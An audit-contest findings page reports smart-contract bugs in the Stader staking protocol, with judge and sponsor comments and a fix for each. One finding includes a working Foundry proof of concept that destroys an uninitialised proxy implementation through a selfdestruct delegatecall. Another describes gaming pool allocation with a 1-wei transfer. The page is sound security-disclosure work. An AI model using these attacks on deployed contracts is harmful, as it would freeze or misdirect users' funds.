Platform: Code4rena
Start Date: 02/06/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 75
Period: 7 days
Judge: Picodes
Total Solo HM: 5
Id: 249
League: ETH
Rank: 3/75
Findings: 7
Award: $6,286.75
π Selected for report: 1
π Solo Findings: 0
π Selected for report: broccolirob
2059.0426 USDC - $2,059.04
https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/VaultProxy.sol#L17 https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/factory/VaultFactory.sol#L29
VaultProxy
can be maliciously destroyed, rendering all ValidatorWithdrawalVault
and NodeELRewardVault
functions useless
VaultProxy
will act as a proxy forValidatorWithdrawalVault
and NodeELRewardVault
However, VaultFactory
does not initialize VaultProxy
when generating vaultProxyImplementation
.
contract VaultFactory is IVaultFactory, Initializable, AccessControlUpgradeable { function initialize(address _admin, address _staderConfig) external initializer { UtilLib.checkNonZeroAddress(_admin); UtilLib.checkNonZeroAddress(_staderConfig); __AccessControl_init_unchained(); staderConfig = IStaderConfig(_staderConfig); @> vaultProxyImplementation = address(new VaultProxy()); _grantRole(DEFAULT_ADMIN_ROLE, _admin); }
contract VaultProxy is IVaultProxy { @> constructor() {} //initialise the vault proxy with data function initialise( bool _isValidatorWithdrawalVault, uint8 _poolId, uint256 _id, address _staderConfig ) external { if (isInitialized) { revert AlreadyInitialized(); } UtilLib.checkNonZeroAddress(_staderConfig); isValidatorWithdrawalVault = _isValidatorWithdrawalVault; isInitialized = true; poolId = _poolId; id = _id; staderConfig = IStaderConfig(_staderConfig); owner = staderConfig.getAdmin(); } fallback(bytes calldata _input) external payable returns (bytes memory) { address vaultImplementation = isValidatorWithdrawalVault ? staderConfig.getValidatorWithdrawalVaultImplementation() : staderConfig.getNodeELRewardVaultImplementation(); @> (bool success, bytes memory data) = vaultImplementation.delegatecall(_input); if (!success) { revert(string(data)); } return data; } .... }
As shown above, anyone can call vaultProxyImplementation.initialise()
set up a malicious vaultImplementation
, execute selfdestruct()
in vaultImplementation.delegatecall()
Destroy the code of vaultProxyImplementation
.
All ValidatorWithdrawalVault
and NodeELRewardVault
are invalidated and all the funds in the contract is lost
Here is the demo code, simplified version.
address withdrawVaultAddress; function setUp() external { //1.like VaultFactory create withdrawVaultAddress address vaultProxyImplementation = address(new VaultProxy()); withdrawVaultAddress = cloneDeterministic(vaultProxyImplementation, bytes32(uint256(1))); VaultProxy(payable(withdrawVaultAddress)).initialise(address(new GoodVault())); //2. print info , everything is ok console.log("setUp withdrawVaultAddress:",withdrawVaultAddress); console.log("setUp return true:",GoodVault(withdrawVaultAddress).returnTrue()); //3. detory vaultProxyImplementation VaultProxy(payable(vaultProxyImplementation)).initialise(address(new BadDestruct())); //3.1 if delete this line test() can print return true vaultProxyImplementation.call(""); } function test() external { //4.show withdrawVaultAddress invalid console.log("test withdrawVaultAddress:",withdrawVaultAddress); //5.will fail , because vaultProxyImplementation is destruct console.log("test return true:",GoodVault(withdrawVaultAddress).returnTrue()); } function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes // of the `implementation` address with the bytecode before the address. mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000)) // Packs the remaining 17 bytes of `implementation` with the bytecode after the address. mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)) instance := create2(0, 0x09, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } ---- help contract ---- contract BadDestruct{ fallback() external { selfdestruct(payable(address(0))); } } contract GoodVault{ function returnTrue() external returns(bool) { return true; } } contract VaultProxy{ bool public isInitialized; address public fallbackVault; constructor() {} function initialise( address _fallbackVault ) external { require(isInitialized==false); isInitialized = true; fallbackVault = _fallbackVault; } fallback(bytes calldata _input) external payable returns (bytes memory) { (bool success, bytes memory data) = fallbackVault.delegatecall(_input); if (!success) { revert(string(data)); } return data; } }
$ forge test -vvv Running 1 test for test/Counter.t.sol:CounterTest [FAIL. Reason: EvmError: Revert] test() (gas: 11234) Logs: setUp withdrawVaultAddress: 0x1121eAC811f2104cd65A256169A360DfF9e403C9 setUp return true: true test withdrawVaultAddress: 0x1121eAC811f2104cd65A256169A360DfF9e403C9 Traces: [11234] CounterTest::test() ββ [0] console::log(test withdrawVaultAddress:, 0x1121eAC811f2104cd65A256169A360DfF9e403C9) [staticcall] β ββ β () ββ [2663] 0x1121eAC811f2104cd65A256169A360DfF9e403C9::returnTrue() β ββ [0] VaultProxy::returnTrue() [delegatecall] β β ββ β () β ββ β () ββ β "EvmError: Revert" Test result: FAILED. 0 passed; 1 failed; finished in 1.02ms Failing tests: Encountered 1 failing test in test/Counter.t.sol:CounterTest [FAIL. Reason: EvmError: Revert] test() (gas: 11234) Encountered a total of 1 failing tests, 0 tests succeeded
contract VaultProxy is IVaultProxy { - constructor() {} + constructor() { + isInitialized = true; + }
Context
#0 - c4-judge
2023-06-10T10:47:59Z
Picodes marked the issue as primary issue
#1 - manoj9april
2023-06-20T05:40:35Z
Thanks for pointing it out. We will fix this.
#2 - c4-sponsor
2023-06-20T05:40:48Z
manoj9april marked the issue as sponsor confirmed
#3 - c4-judge
2023-06-26T15:49:24Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2023-06-26T15:51:05Z
Picodes marked issue #418 as primary and marked this issue as a duplicate of 418
102.2712 USDC - $102.27
Missing pause()/unpause()
, the contract can not be suspended in case of emergency
StaderOracle.sol
multiple methods have whenNotPaused
, but the contract does not have pause()
and unpause()
methods
So it cannot be paused
The following contracts all have this problem
add methods
function pause() external { UtilLib.onlyManagerRole(msg.sender, staderConfig); _pause(); } function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _unpause(); }
Context
#0 - c4-judge
2023-06-13T20:44:49Z
Picodes marked the issue as duplicate of #383
#1 - c4-judge
2023-07-02T09:44:16Z
Picodes marked the issue as satisfactory
857.9344 USDC - $857.93
PoolAddress
cannot be changed
updatePoolAddress()
has modifier onlyExistingPoolId
But inside the method, verifyNewPool(_poolId)
is called at the same time, in verifyNewPool()
will restrict poolId
cannot exist
so it won't work properly and shouldn't call verifyNewPool(_poolId)
function updatePoolAddress(uint8 _poolId, address _newPoolAddress) external override @> onlyExistingPoolId(_poolId) onlyRole(DEFAULT_ADMIN_ROLE) { UtilLib.checkNonZeroAddress(_newPoolAddress); @> verifyNewPool(_poolId, _newPoolAddress); poolAddressById[_poolId] = _newPoolAddress; emit PoolAddressUpdated(_poolId, _newPoolAddress); } function verifyNewPool(uint8 _poolId, address _poolAddress) internal view { if ( INodeRegistry(IStaderPoolBase(_poolAddress).getNodeRegistry()).POOL_ID() != _poolId || @> isExistingPoolId(_poolId) ) { @> revert ExistingOrMismatchingPoolId(); } }
function updatePoolAddress(uint8 _poolId, address _newPoolAddress) external override onlyExistingPoolId(_poolId) onlyRole(DEFAULT_ADMIN_ROLE) { UtilLib.checkNonZeroAddress(_newPoolAddress); - verifyNewPool(_poolId, _newPoolAddress); + if ( + INodeRegistry(IStaderPoolBase(_poolAddress).getNodeRegistry()).POOL_ID() != _poolId + ) { + revert ExistingOrMismatchingPoolId(); + } poolAddressById[_poolId] = _newPoolAddress; emit PoolAddressUpdated(_poolId, _newPoolAddress); }
Context
#0 - c4-judge
2023-06-12T12:55:50Z
Picodes marked the issue as duplicate of #341
#1 - c4-judge
2023-07-02T10:03:56Z
Picodes marked the issue as satisfactory
2753.8636 USDC - $2,753.86
Malicious modification in favor of your own funds allocation rounds
poolIdArrayIndexForExcessDeposit
is used to save depositETHOverTargetWeight()
which Pool
is given priority for allocation in the next round
The current implementation rolls over to the next pool
regardless of whether the current balance is sufficient or not
poolAllocationForExcessETHDeposit:
function poolAllocationForExcessETHDeposit(uint256 _excessETHAmount) external override returns (uint256[] memory selectedPoolCapacity, uint8[] memory poolIdArray) { .. for (uint256 j; j < poolCount; ) { uint256 poolCapacity = poolUtils.getQueuedValidatorCountByPool(poolIdArray[i]); uint256 poolDepositSize = ETH_PER_NODE - poolUtils.getCollateralETH(poolIdArray[i]); uint256 remainingValidatorsToDeposit = ethToDeposit / poolDepositSize; selectedPoolCapacity[i] = Math.min( poolAllocationMaxSize - selectedValidatorCount, Math.min(poolCapacity, remainingValidatorsToDeposit) ); selectedValidatorCount += selectedPoolCapacity[i]; ethToDeposit -= selectedPoolCapacity[i] * poolDepositSize; @> i = (i + 1) % poolCount; //For ethToDeposit < ETH_PER_NODE, we will be able to at best deposit one more validator //but that will introduce complex logic, hence we are not solving that @> if (ethToDeposit < ETH_PER_NODE || selectedValidatorCount >= poolAllocationMaxSize) { @> poolIdArrayIndexForExcessDeposit = i; break; }
Suppose now the balance of StaderStakePoolsManager
is 0 and poolIdArrayIndexForExcessDeposit = 1
If I have a Validator
with funds to be allocated at pool = 2, I can maliciously transfer 1 wei and let poolIdArrayIndexForExcessDeposit
roll over to 2
This way the next round of funding will be allocated in favor of my Validator
.
Normally, if the current funds are not enough to allocate one Validator
, then poolIdArrayIndexForExcessDeposit
should not be rolled
This is more fair
Suggested: If poolAllocationForExcessETHDeposit()
returns all 0, revert to avoid rolling poolIdArrayIndexForExcessDeposit
.
function depositETHOverTargetWeight() external override nonReentrant { .. + bool findValidator; for (uint256 i = 0; i < poolCount; i++) { uint256 validatorToDeposit = selectedPoolCapacity[i]; if (validatorToDeposit == 0) { continue; } + findValidator = true; address poolAddress = IPoolUtils(poolUtils).poolAddressById(poolIdArray[i]); uint256 poolDepositSize = staderConfig.getStakedEthPerNode() - IPoolUtils(poolUtils).getCollateralETH(poolIdArray[i]); lastExcessETHDepositBlock = block.number; //slither-disable-next-line arbitrary-send-eth IStaderPoolBase(poolAddress).stakeUserETHToBeaconChain{value: validatorToDeposit * poolDepositSize}(); emit ETHTransferredToPool(i, poolAddress, validatorToDeposit * poolDepositSize); } + require(findValidator,"not valid validator");
Context
#0 - manoj9april
2023-06-20T06:40:57Z
Sure, we will fix this.
#1 - c4-sponsor
2023-06-20T06:41:04Z
manoj9april marked the issue as sponsor confirmed
#2 - manoj9april
2023-06-20T06:43:13Z
We expect this issue to be in QA As in Cooldown eventually evens out every pool.
#3 - c4-sponsor
2023-06-20T06:43:18Z
manoj9april marked the issue as disagree with severity
#4 - c4-judge
2023-07-02T12:14:27Z
Picodes marked the issue as primary issue
#5 - Picodes
2023-07-02T23:03:33Z
Technically valid although the impact should remain small especially as the cooldown prevents from using this frequently and really imbalancing among validators. Keeping Medium severity as funds are at stake and it wasn't the intended design.
#6 - c4-judge
2023-07-02T23:04:24Z
Picodes marked the issue as selected for report
#7 - sanjay-staderlabs
2023-07-04T06:58:17Z
@Picodes can you please elaborate how funds are at stake, I think fund will never be at stake as fund might go to a different pool, and there is no risk of fund being at stake in this case.
#8 - sanjay-staderlabs
2023-07-06T03:37:32Z
@Picodes checking on this
#9 - Picodes
2023-07-06T14:41:10Z
My reasoning was that although the impact is very limited, as the system can be gamed to send funds to the incorrect validator, which then could behave incorrectly, this report qualifies for Med severity under "leak value with a hypothetical attack path with stated assumptions, but external requirements"
#10 - sanjay-staderlabs
2023-07-06T14:57:12Z
@Picodes just to clarify there is no incorrect validator, all validators work expected, we have penalty mechanics in place to penalize and exit validator if they behave incorrectly, so the question of sending ETH to incorrect validator or fund loss does not exit
#11 - Picodes
2023-07-06T15:03:21Z
Yes, it is not an incorrect validator in the sense of a malicious one as safeguards exist, just compared to what it would have been without this bug. Unless I am missing smthg you still could slightly game the system in favor of for example your own validators, less performing ones, or validators starting to behave incorrectly
#12 - sanjay-staderlabs
2023-07-13T04:21:49Z
This is fixed
463.2846 USDC - $463.28
https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderConfig.sol#L177 https://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/StaderConfig.sol#L102
can't remove the admin privileges that were initially set
When updateAdmin()
sets up a new admin, it also removes the old admin DEFAULT_ADMIN_ROLE
permission
function updateAdmin(address _admin) external onlyRole(DEFAULT_ADMIN_ROLE) { @> address oldAdmin = accountsMap[ADMIN]; _grantRole(DEFAULT_ADMIN_ROLE, _admin); setAccount(ADMIN, _admin); @> _revokeRole(DEFAULT_ADMIN_ROLE, oldAdmin); }
The old admin was taken from accountsMap[ADMIN]
.
But the original admin is set in initialize()
and not in accountsMap[]
.
So updateAdmin()
does not cancel the initial admin privileges, but still retains DEFAULT_ADMIN_ROLE
, leading to security risks
initialize()
directly _grantRole()
, and does not set accountsMap[]
function initialize(address _admin, address _ethDepositContract) external initializer { @> _grantRole(DEFAULT_ADMIN_ROLE, _admin); }
It is recommended that initialize()
be set accountsMap[]
at the same time
function initialize(address _admin, address _ethDepositContract) external initializer { .... _grantRole(DEFAULT_ADMIN_ROLE, _admin); + setAccount(ADMIN, _admin); }
Context
#0 - c4-judge
2023-06-10T13:26:43Z
Picodes marked the issue as primary issue
#1 - manoj9april
2023-06-20T05:49:41Z
We are handling it as a part of deployment process.
#2 - c4-sponsor
2023-06-20T05:49:47Z
manoj9april marked the issue as sponsor acknowledged
#3 - c4-sponsor
2023-06-20T05:49:53Z
manoj9april marked the issue as disagree with severity
#4 - c4-judge
2023-07-02T12:45:35Z
Picodes marked the issue as satisfactory
#5 - c4-judge
2023-07-02T12:46:30Z
Picodes marked issue #133 as primary and marked this issue as a duplicate of 133
π Selected for report: Madalad
Also found by: Aymen0909, Bauchibred, Breeje, DadeKuma, Hama, LaScaloneta, Madalad, MohammedRizwan, bin2chen, dwward3n, erictee, etherhood, kutugu, peanuts, piyushshukla, rvierdiiev, saneryee, tallo, turvy_fuzz, whimints
31.7954 USDC - $31.80
use stale oracle price
getPORFeedData()
Chainlink price feed is not sufficiently validated and can return stale price
function getPORFeedData() internal view returns ( uint256, uint256, uint256 ) { @> (, int256 totalETHBalanceInInt, , , ) = AggregatorV3Interface(staderConfig.getETHBalancePORFeedProxy()) .latestRoundData(); @> (, int256 totalETHXSupplyInInt, , , ) = AggregatorV3Interface(staderConfig.getETHXSupplyPORFeedProxy()) .latestRoundData(); return (uint256(totalETHBalanceInInt), uint256(totalETHXSupplyInInt), block.number); }
Based on https://docs.chain.link/docs/historical-price-data, the followings can be done to avoid using a stale price returned by the Chainlink price feed.
Based on https://docs.chain.link/docs/historical-price-data, the followings can be done to avoid using a stale price returned by the Chainlink price feed.
Oracle
#0 - c4-judge
2023-06-09T23:25:29Z
Picodes marked the issue as duplicate of #15
#1 - c4-judge
2023-07-02T10:49:37Z
Picodes marked the issue as satisfactory
π Selected for report: RaymondFam
Also found by: 0xWaitress, 0xhacksmithh, ChrisTina, DadeKuma, LaScaloneta, Rolezn, SAAJ, Sathish9098, T1MOH, bin2chen, btk, catellatech, ernestognw, fatherOfBlocks, hals, hunter_w3b, jaraxxus, matrix_0wl, mgf15, naman1778, niser93, solsaver, turvy_fuzz
18.5651 USDC - $18.57
L-01: whitelistPermissionedNOs() is missing the method to set to false The current permissionList[] can only be set to true, and there is no method to cancel it, so if the setting is wrong, it cannot be cancelled. Suggested changes to pass in the status
- function whitelistPermissionedNOs(address[] calldata _permissionedNOs) external override { + function whitelistPermissionedNOs(address[] calldata _permissionedNOs,bool isPermission) external override { UtilLib.onlyManagerRole(msg.sender, staderConfig); uint256 permissionedNosLength = _permissionedNOs.length; for (uint256 i = 0; i < permissionedNosLength; i++) { address operator = _permissionedNOs[i]; UtilLib.checkNonZeroAddress(operator); - permissionList[operator] = true; + permissionList[operator] = isPermission; emit OperatorWhitelisted(operator); } }
L-02: updatePoolThreshold() is missing the check that _units.length > 0
The current protocol _units.length == 0
, will be treated as if poolThreshold
is not set
Suggest adding check
function updatePoolThreshold( uint8 _poolId, uint256 _minThreshold, uint256 _maxThreshold, uint256 _withdrawThreshold, string memory _units ) external override { UtilLib.onlyManagerRole(msg.sender, staderConfig); if ((_minThreshold > _withdrawThreshold) || (_minThreshold > _maxThreshold)) { revert InvalidPoolLimit(); } + require(bytes(_units).length >0,"length ==0");
L-03: getMinimumSDToBond() has the risk of precision loss
getMinimumSDToBond()
currently performs convertETHToSD(poolThreshold.minThreshold)
, this will have precision loss, if minThreshold
is small
It is recommended to multiply _numValidator
before conversion
function getMinimumSDToBond(uint8 _poolId, uint256 _numValidator) public view override returns (uint256 _minSDToBond) { isPoolThresholdValid(_poolId); PoolThresholdInfo storage poolThreshold = poolThresholdbyPoolId[_poolId]; - _minSDToBond = convertETHToSD(poolThreshold.minThreshold); - _minSDToBond *= _numValidator; + _minSDToBond = convertETHToSD(poolThreshold.minThreshold * _numValidator); }
L-04: updateAdmin() is missing to determine whether the old admin is the same as the new one, which may cause the new admin to be _revokeRole
updateAdmin()
will set the new admin and then revoke the old one.
Currently there is no restriction that the old and new cannot be the same, and the new one is set first and then the old one is cancelled, so if it is the same it will end up without any admin
function updateAdmin(address _admin) external onlyRole(DEFAULT_ADMIN_ROLE) { address oldAdmin = accountsMap[ADMIN]; + require(oldAdmin!=_admin,"same"); _grantRole(DEFAULT_ADMIN_ROLE, _admin); setAccount(ADMIN, _admin); _revokeRole(DEFAULT_ADMIN_ROLE, oldAdmin); }
#0 - c4-judge
2023-06-14T06:59:29Z
Picodes marked the issue as grade-b